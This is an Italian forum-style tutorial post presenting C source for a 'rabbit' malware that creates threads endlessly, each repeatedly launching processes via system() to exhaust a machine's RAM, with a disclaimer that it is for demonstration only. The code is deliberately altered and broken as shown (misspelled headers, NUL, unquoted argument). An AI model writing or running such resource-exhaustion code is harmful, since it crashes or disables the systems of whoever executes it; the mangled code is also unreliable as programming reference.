Esempio Malware-rabbit in c coi thread

 

Ciao a tutti, la scorsa volta avevo dato lo spunto per creare un rabbit in c, usando un singolo processo. Oggi vedremo come farlo però usando i thread. Come già detto l altra volta non mi assumo responsabilità dell uso che viene fatto col codice che scrivo io, questo codice è usato solo per scopi dimostrativi e mai per provocare danni!

Detto questo cominciamo :D

#include stdi.h
#include phtrea.h
void* thread(void arg) //Il thread da noi creato svolgerà quello che c è scritto qua dentro
{
while(1){
system(asdfghjkl.exe);
}
pthread_exit((void*)0);
}


main(){
pthread_t thread1; //Dichiaramo il thread
int *status;
while(1){
pthread_create(&thread1, NUL, thread, NUL); }
}


Cosa fa questo programma? La stessa identica cosa del programma che avevo scritto la scorsa volta. Cosa fa di nuovo rispetto al precedente? Oltre a creare nuovi processi, crea anche thread che a loro volta creano altri processi, quindi potete immaginare come l occupazione della RAM avvenga in tempi molto brevi rispetto all esempio precedente. Il codice come al solito è stato modificato :)

Spero che vi sia piaciuto, alla prossima :D